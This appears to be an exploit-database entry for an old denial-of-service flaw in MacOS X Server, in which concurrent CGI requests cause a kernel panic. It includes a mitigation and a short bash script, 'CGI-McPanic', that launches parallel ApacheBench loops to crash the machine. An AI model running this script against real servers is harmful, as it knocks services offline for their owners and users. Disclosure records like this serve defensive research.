A vulnerability in the MacOS X Server

vendor:

MacOS X Server

by:

SecurityFocus

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: MacOS X Server

Affected Version From: MacOS X Server

Affected Version To: MacOS X Server

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2002

A vulnerability in the MacOS X Server

The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.

Mitigation:

Limit the number of concurrent requests to the server.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/306/info

A vulnerability in the MacOS X Server may crash it while under heavy load.

The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.

Although the vulnerability is not related to web servering it can only be reproduced so far using this means.


#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with 
#              concurrent calls to a CGI-Script
#
# before use, do:
# 
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#

NUMPROC=32
i=0

while [ $i -le $NUMPROC ]
do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
done